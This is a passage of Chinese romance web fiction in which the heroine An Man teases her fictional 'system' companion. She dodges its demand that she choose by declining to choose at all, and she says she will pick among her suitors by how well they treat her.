安蔓一本正经:“既然没有规定我必须什么时候选,那等我在这个世界生活到八九十岁再选,也是可以的吧。所以我的选择是不选。” 只要不选,永远有一次机会。 系统:“……”你可真是个机灵鬼! 系统瞠目结舌:“你这是钻空子,你太可恶了,你怎么能这样,你太过分了,你简直太让我伤心了,可恶啊!那我怎么办!” 安蔓:“嘻嘻,留下来陪我呗,就当是你也顺便度个假。” 系统郁闷死了,“……那我换个问题,你要和谁交往,感觉那群人全都虎视眈眈的样子。这个你总要选一个吧。” 安蔓没想好。 一口喝完了香槟,理直气壮,“这个嘛,看表现,刚刚我不是已经说了要求吗,这些人谁把我伺候得,最好我就选谁。” 系统:“都很好,不分伯仲呢。万一这些人都很好,都特别会舔,难道你还要轮流交往一遍吗,这样真的不会肾虚吗。” 安蔓谴责:“龌龊,我哪有这么说,不要用你这颗肮脏的心来判断我!” 她反正是无所谓,到时候具体看情况。一群舔狗的衡量标准,是最后看谁舔得好。这群人无论怎么明争暗斗,她都不在乎,反正谁让她最舒服了就选人谈恋爱。 要是运气不好,从哪个地方又出现了一个新的老实人,把他们几个踩下去,然后用金山银山热烈地追求她,安蔓也会欣然接受。 “……看他们的表现吧。” 安蔓笑眯眯地又给自己倒了一杯香槟,慢慢喝,态度非常无所谓,“我现在一个都没喜欢上,选谁都行。” “反正我也不怕受伤,要是谁真的让我心动了,再好好在一起也不迟。” 反正她永远可以离开,永远占据主动权,开心!